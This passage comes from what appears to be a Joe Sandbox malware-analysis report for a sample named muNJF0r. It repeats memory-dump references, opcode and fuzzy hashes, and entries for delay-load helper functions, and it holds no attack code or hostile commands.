Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dcd69101c8de0172afd49235e2d998fa12a6043e47d2fe702960e1ac2a2c8e31
Instruction ID: f3785fd304f78117799aeb4eae9131069d4f250f7adac7cf0372fb94ad740717
Opcode Fuzzy Hash: dcd69101c8de0172afd49235e2d998fa12a6043e47d2fe702960e1ac2a2c8e31
Instruction Fuzzy Hash: F6B012C16995417E360461089C0BCFB09CDC0C2F1433083EFF424C11E0F8C0CD444432

Function 00BBE2B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ac80c39b0f7f9f5ca30a67d4a7e0e781fb2eab978908ec89a942645d6c9359df
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: ac80c39b0f7f9f5ca30a67d4a7e0e781fb2eab978908ec89a942645d6c9359df
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1a7edfa04888a3a799b2cdbdd109fa150240d1f890a9f0e7169036445e52e1a6
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: 1a7edfa04888a3a799b2cdbdd109fa150240d1f890a9f0e7169036445e52e1a6
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3a8992a30c34721fafef9566ae410ac4430377f319fb39d397b2ce9db033eea6
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: 3a8992a30c34721fafef9566ae410ac4430377f319fb39d397b2ce9db033eea6
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa7f3d1c38cd245611d8c5b48c6d0f1699f5964b573e5e2c2807e05995b2455f
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: fa7f3d1c38cd245611d8c5b48c6d0f1699f5964b573e5e2c2807e05995b2455f
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6d758a6f4c227b0afdb1e154ccc91a66a291f637ef3efae579f711f9341ab318
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: 6d758a6f4c227b0afdb1e154ccc91a66a291f637ef3efae579f711f9341ab318
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d1bc03ce8e5912bd73fd3f5a1fa03e387c2710800b8e2771908ffc72cc2f6cc3
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: d1bc03ce8e5912bd73fd3f5a1fa03e387c2710800b8e2771908ffc72cc2f6cc3
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 311f505cc52df4b101c333a3e0cd1899d270cac62e77e396a8a2a9a8e78ad4e5
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: 311f505cc52df4b101c333a3e0cd1899d270cac62e77e396a8a2a9a8e78ad4e5
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b2a2a99d0d7d86ccd8ac54eb9577745ecb75d5d8ae77e8db75730f36cdc7c949
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: b2a2a99d0d7d86ccd8ac54eb9577745ecb75d5d8ae77e8db75730f36cdc7c949
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bf585a55fadc3c1fee5e1101d052f6f71219f0af84417faaa72d00cf23f53fa0
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: bf585a55fadc3c1fee5e1101d052f6f71219f0af84417faaa72d00cf23f53fa0
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cf4658da5709530f2a85dc59be114d5f388ecda728bbe50dd172719e0d1e0048
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: cf4658da5709530f2a85dc59be114d5f388ecda728bbe50dd172719e0d1e0048
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ad9bed6dbcb13be6aa506bff8e571b8828195af8159dc6d2f9cb86a2e2e522ff
Instruction ID: 8f783e01db715d457a31eab5b067139004ad716848fdb29046e44b207a5e1d67
Opcode Fuzzy Hash: ad9bed6dbcb13be6aa506bff8e571b8828195af8159dc6d2f9cb86a2e2e522ff
Instruction Fuzzy Hash: B5A011E22A8002BE30082202AC03CFB02CEC0C0B20330C8AEF822C00A0B8C0A8000830

Function 00BBE3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d2ddf329d97258893aaa81ea6aaca39106ad1073c8cbaa4897995c336da25a8e
Instruction ID: 6f57e2e0320c3784bd5dff851214a91384a00fd301ad9866c2eb8bcfeaa2e831
Opcode Fuzzy Hash: d2ddf329d97258893aaa81ea6aaca39106ad1073c8cbaa4897995c336da25a8e
Instruction Fuzzy Hash: 8EA011E22A80023E30882200AC82CFB02CEC0C0B2033080AEF830AA0E0BCC0880028B2

Function 00BBE43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9c05691cac6e0ec42c11d6f6303414d6972988a414940f8c6a6c61a6842cc130
Instruction ID: 59655488f1afe76dc505aca4494920578a89054e54eb404057cdc81bb70ebdc3
Opcode Fuzzy Hash: 9c05691cac6e0ec42c11d6f6303414d6972988a414940f8c6a6c61a6842cc130
Instruction Fuzzy Hash: 10A012E11580027D304412005C42CF702CDC0C0B1033044AEF421850E0B8C088001472

Function 00BBE432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b15f76e6e476e885ee39e15a064b24a024d424cfb649b01722f596ce8e43c04
Instruction ID: 59655488f1afe76dc505aca4494920578a89054e54eb404057cdc81bb70ebdc3
Opcode Fuzzy Hash: 0b15f76e6e476e885ee39e15a064b24a024d424cfb649b01722f596ce8e43c04
Instruction Fuzzy Hash: 10A012E11580027D304412005C42CF702CDC0C0B1033044AEF421850E0B8C088001472

Function 00BBE414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 50b8deae2ba749cfb636cccb41190c9e02ab548f0097d120a84ea50dd3521afa
Instruction ID: 59655488f1afe76dc505aca4494920578a89054e54eb404057cdc81bb70ebdc3
Opcode Fuzzy Hash: 50b8deae2ba749cfb636cccb41190c9e02ab548f0097d120a84ea50dd3521afa
Instruction Fuzzy Hash: 10A012E11580027D304412005C42CF702CDC0C0B1033044AEF421850E0B8C088001472

Function 00BBE40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3eb6b9425c77dca17a0de4ad1450fcee55e8b35a06af854d88a85eda52d9ea90
Instruction ID: 59655488f1afe76dc505aca4494920578a89054e54eb404057cdc81bb70ebdc3
